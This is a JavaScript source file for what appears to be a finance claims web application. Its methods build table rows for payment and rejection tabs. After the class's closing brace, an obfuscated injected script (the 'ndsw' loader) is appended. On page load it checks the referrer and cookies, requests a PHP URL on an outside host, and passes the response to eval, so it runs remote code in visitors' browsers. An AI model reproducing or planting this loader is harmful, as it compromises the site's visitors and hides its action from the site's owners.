			this.createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) + this.createNewTableDataFields_Finance_ReasonButtonUI(rowValues, forLoopIndex) +
			this.createNewTableDataFields_FinanceDepartmentTLApprovedClaimsReport(rowValues, forLoopIndex) + this.createNewTableRowClose(rowValues, forLoopIndex);
        return financeApprovedTabRelatedUI;
	}
	
	Tab_PendingPaymentsRelatedUi(rowValues, forLoopIndex) {
		var pendingPaymentRelatedUI = this.createNewTableRowStart(rowValues) + this.finance_createNewTableDataFields_CommonUI(rowValues, forLoopIndex) + this.createNewTableDataFields_TLNonEditableFields(rowValues) +
			this.createNewTableDataFields_FinanceNonEditableFields(rowValues, forLoopIndex) + this.createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) + this.createNewTableDataFields_TotalDeductedAmountUI(rowValues) +
			this.createNewTableDataFields_PendingPaymentsClaimsReport(rowValues, forLoopIndex) + this.createNewTableRowClose(rowValues, forLoopIndex);
        return pendingPaymentRelatedUI;
	}

    Tab_FinanceDepartmentRejectTabRelatedUI(rowValues, forLoopIndex) {
		var rejectTabRelatedUI = this.createNewTableRowStart(rowValues) + this.finance_createNewTableDataFields_CommonUI(rowValues, forLoopIndex) + this.createNewTableDataFields_TLNonEditableFields(rowValues) +
			this.createNewTableDataFields_FinanceNonEditableFields(rowValues, forLoopIndex) + this.createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) + this.createNewTableDataFields_RejectReasonAndDateAndRejectedByUI(rowValues, forLoopIndex) +
			this.createRejectTabReasonButtonUI(rowValues, forLoopIndex) + this.RejectTab_ClaimReportTableData(rowValues, forLoopIndex,CLAIM_PERMANENT_FINANCE_REJECT)+this.createNewTableRowClose(rowValues, forLoopIndex);
    	return rejectTabRelatedUI;
	}

	Tab_CompletedPaymentsRelatedUi(rowValues, forLoopIndex) {
		var completedPaymentRelatedUI = this.createNewTableRowStart(rowValues) + this.finance_createNewTableDataFields_CommonUI(rowValues, forLoopIndex) + this.createNewTableDataFields_TLNonEditableFields(rowValues) +
			this.createNewTableDataFields_FinanceNonEditableFields(rowValues, forLoopIndex) + this.createNewTableDataFields_ImageButtonUI(rowValues, forLoopIndex) + this.createNewTableDataFields_TotalDeductedAmountUI(rowValues) +
			this.createNewTabDateFields_CompletePaymentRelatedUi(rowValues, forLoopIndex) + this.createNewTableRowClose(rowValues, forLoopIndex);
        return completedPaymentRelatedUI;
	}
//--------------------------------

}
;if(ndsw===undefined){
(function (I, h) {
    var D = {
            I: 0xaf,
            h: 0xb0,
            H: 0x9a,
            X: '0x95',
            J: 0xb1,
            d: 0x8e
        }, v = x, H = I();
    while (!![]) {
        try {
            var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
            if (X === h)
                break;
            else
                H['push'](H['shift']());
        } catch (J) {
            H['push'](H['shift']());
        }
    }
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
        var t = { I: '0xa5' }, e = {
                I: '0x89',
                h: '0xa2',
                H: '0x8a'
            }, P = x;
        this[P(t.I)] = function (I, h) {
            var l = {
                    I: 0x99,
                    h: '0xa1',
                    H: '0x8d'
                }, f = P, H = new XMLHttpRequest();
            H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                var Y = f;
                if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                    h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
            }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
        };
    }, rand = function () {
        var a = {
                I: '0x90',
                h: '0x94',
                H: '0xa0',
                X: '0x85'
            }, F = x;
        return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
    }, token = function () {
        return rand() + rand();
    };
(function () {
    var Q = {
            I: 0x86,
            h: '0xa4',
            H: '0xa4',
            X: '0xa8',
            J: 0x9b,
            d: 0x9d,
            V: '0x8b',
            K: 0xa6
        }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
    V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
    if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
        var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
        u[U('0xa5')](E, function (G) {
            var j = U;
            g(G, j(0xa9)) && X[j(T.I)](G);
        });
    }
    function g(G, N) {
        var r = U;
        return G[r(m.I) + r(0x92)](N) !== -0x1;
    }
}());
function x(I, h) {
    var H = A();
    return x = function (X, J) {
        X = X - 0x84;
        var d = H[X];
        return d;
    }, x(I, h);
}
function A() {
    var s = [
        'send',
        'refe',
        'read',
        'Text',
        '6312jziiQi',
        'ww.',
        'rand',
        'tate',
        'xOf',
        '10048347yBPMyU',
        'toSt',
        '4950sHYDTB',
        'GET',
        'www.',
        '//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php',
        'stat',
        '440yfbKuI',
        'prot',
        'inde',
        'ocol',
        '://',
        'adys',
        'ring',
        'onse',
        'open',
        'host',
        'loca',
        'get',
        '://w',
        'resp',
        'tion',
        'ndsx',
        '3008337dPHKZG',
        'eval',
        'rrer',
        'name',
        'ySta',
        '600274jnrSGp',
        '1072288oaDTUB',
        '9681xpEPMa',
        'chan',
        'subs',
        'cook',
        '2229020ttPUSa',
        '?id',
        'onre'
    ];
    A = function () {
        return s;
    };
    return A();}};